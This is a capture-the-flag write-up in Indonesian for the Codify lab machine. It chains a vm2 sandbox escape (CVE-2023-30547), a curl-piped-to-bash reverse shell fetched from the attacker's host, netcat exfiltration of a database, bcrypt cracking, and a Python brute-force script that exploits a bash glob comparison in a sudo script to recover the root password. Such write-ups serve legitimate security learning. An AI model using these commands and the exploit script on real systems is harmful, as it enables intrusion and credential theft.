Synopsis
Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The
application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating
the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box.
Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user’s password,
leading to privileged access to the machine.
Enumeration
disini kita menggunakan rustscan
untuk mempercepat mencari tahu port apa saja yg open didalam lab machine ini
┌──(cyberdesu㉿MSI)-[~/Desktop]
└─$ rustscan -a 10.129.242.230
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
You miss 100% of the ports you don't scan. - RustScan
[~] The config file is expected to be at "/home/cyberdesu/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.242.230:3000
dari hasil scan tersebut. terdapat 2port 3000
yg digunakan oleh service http
selanjutnya kita coba akses, website yg berada di port 80, untuk mencari tahu informasi dan fitur apa aja yg bisa kita gunakan untuk mencari vulnerability
dari halaman tersebut, ternyata website ini digunakan untuk running kode node js tanpa harus setup apapun.
selanjutnya kita coba cari informasi di halaman limitations
pada halaman limitations, dijelaskan bahwa ada beberapa module dari nodejs yg tidak bisa di import seperti child_process dan fs. hal tersebut akan mempersulit pada tahap exploitasi untuk mendapatkan Bug RCE.
lanjut kita coba akses halaman About Us untuk mencari informasi lagi
pada halaman tersebut, kita diberitahu bahwa website ini menggunakan library VM2 untuk mengeksekusi kode dari nodejs secara sandbox.
Exploitation
untuk mengeksploitasi website tersebut, kita harus melakukan escape sandbox terlebih dahulu. lalu saya menemukan sebuah blog mengenai vulnerability sandbox escape https://www.bleepingcomputer.com/news/security/new-sandbox-escape-poc-exploit-available-for-vm2-library-patch-now/
dari blog tersebut terdapat sebuah vulnerability yg ditemukan oleh security analyst bernama SeungHyun Lee. blog tersebut menjelaskan mengenai CVE-2023-30547 terkait kelemahan dari Fungsi handleException() yang dirancang untuk menyaring atau membersihkan exception yang tertangkap dalam sandbox agar tidak membocorkan informasi sensitif dari host. Namun, penyerang dapat menyalahgunakan kelemahan ini dengan membuat custom proxy handler menggunakan getPrototypeOf() yang memicu exception dari host tanpa tersanitasi.
Saat exception tidak berhasil disanitasi oleh handleException(), penyerang bisa mengakses fungsi host secara langsung. Ini berarti penyerang dapat melarikan diri dari batasan sandbox dan mengeksekusi kode arbitrer dalam konteks host. Dampaknya, penyerang bisa mendapatkan kontrol penuh atas sistem target atau meluncurkan serangan lebih besar.
selanjutnya kita coba mengikuti PoC yang telah diberikan, untuk mengeksekusi perintah echo hello cyberdesu
gambar diatas, menandakan penggunaan module child_process untuk mengeksekusi perintah echo hello cyberdesu telah di eksekusi, yang artinya kita sudah berhasil melakukan sandbox escape.
selanjutnya kita coba lakukan reverse shell, tetapi setelah mencoba reverse shell menggunakan netcat, maupun menggunakan bash.
karena tidak bisa melakukan reverse shell dengan cara diatas, saya mencoba menggunakan trik menggunakan curl dan pipeline untuk melakukan reverse shell seperti di blog saya Tryhackme – DogCat Writeup
langkah pertama yang dilakukan yaitu, saya membuat file rev.sh yang berisi sebuah perintah bash untuk melakukan reverse shell, lalu saya mengaktifkan module http.server dari python agar website target bisa mengakses file rev.sh lalu langsung mengeksekusi nya dengan menggunakan perintah curl
http://10.10.16.12:9090/rev.sh|bash
hasilnya, kita sudah mendapatkan reverse shell tersebut dengan akses user svc. dan agar tampilan shell nya biar enak dilihat dan stabil, kita bisa menggunakan perintah script /dev/null -c bash
Lateral Movement
hal yang pertama akan saya lakukan yaitu, mengecek ada user apa saja di server target
Hasilnya, kita menemukan user bernama joshua dan user svc yang sedang kita gunakan. Kemungkinan flag user terdapat di direktori home milik joshua.
langkah selanjutnya, kita mencari cara untuk bisa mendapatkan akses akun dari joshua.
ternyata ada sebuah file db di direktori /var/www/contact, yang kemungkinan terbesar ada sebuah data password dari akun joshua
selanjutnya kita coba kirim file db tersebut ke kali linux kita menggunakan netcat
Lalu, untuk menerima data dari victim, kita menggunakan perintah: nc -l -p 7000 > data.db
hasilnya, kita menemukan data hash dari password yang dimiliki joshua.
selanjutnya kita coba crack hash tersebut menggunakan hashcat dengan perintah hashcat -a 0 -m 3200 hash.txt Downloads/rockyou.txt --force
Hasilnya, password yang berhasil didapatkan dari hash bcrypt adalah spongebob1. Selanjutnya, kita mencoba login menggunakan kredensial tersebut melalui SSH dengan username joshua. Hasilnya, login berhasil, dan kita menemukan sebuah flag user di dalam folder home milik joshua.
Privileges Escalation
target kita selanjutnya, yaitu mendapatkan user tertinggi (root) di server target nya, nah biasanya saya akan melakukan privilege escalation dengan metode sudo
, perintah sudo -l
akan memberikan informasi tentang perintah-perintah yang dapat dijalankan oleh user (dalam hal ini, user joshua
) dengan hak akses root tanpa perlu memasukkan password. Ini bisa memberikan petunjuk apakah user tersebut memiliki hak untuk menjalankan perintah yang sensitif atau bisa disalahgunakan untuk mendapatkan akses root
hasilnya ada sebuah file bernama mysql-backup.sh yang bisa kita jalankan sebagai root, selanjutnya kita coba cek source code dari file tersebut
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
kode di atas adalah alat otomatisasi untuk mencadangkan database MySQL. Skrip ini memanfaatkan kredensial pengguna root yang disimpan di file tersembunyi (/root/.creds
) untuk mengotentikasi akses ke database. Setelah meminta pengguna memasukkan kata sandi untuk verifikasi manual, kode tersebut akan mencocokkannya dengan kredensial di file tersebut. Jika cocok, proses pencadangan berjalan dengan mencadangkan semua database kecuali information_schema
dan performance_schema
ke direktori /var/backups/mysql
dalam format terkompresi (gzip
).
tetapi kode ini berpotensi dieksploitasi karena penggunaan [[$var == $var2]]
pada saat komparasi input user dengan $DB_PASS, yang menyebabkan input user yang mengandung wildcard *
, akan dianggap true. contohnya seperti ini
dengan memanfaatkan penggunaan wildcard *, kita bisa melakukan bruteforce untuk menemukan password root dengan exploit yang sudah saya siapkan dibawah ini
import subprocess
import string
chars = string.ascii_letters + string.digits
password = ""
while True:
for char in chars:
process = subprocess.run(['sudo', '/opt/scripts/mysql-backup.sh'], input=f"{password}{char}*", stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if "Password confirmed!" in process.stdout:
print(f"Password ditemukan: {password}")
password += char
validatePassword = subprocess.run(['sudo', '/opt/scripts/mysql-backup.sh'], input=f"{password}", stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if "Password confirmed!" in validatePassword.stdout:
print(f"Password berhasil diuji: {password}")
break
if "Password confirmed!" in process.stdout:
break
maka ketika kita coba jalankan exploit tersebut, kita akan mendapatkan password nya yaitu kljh12k3jhaskjh12kjh3
password tersebut akan kita coba untuk melakukan login sebagai root dengan menggunakan perintah su
. dan hasilnya kita berhasil login sebagai root, dan mendapatkan flag nya.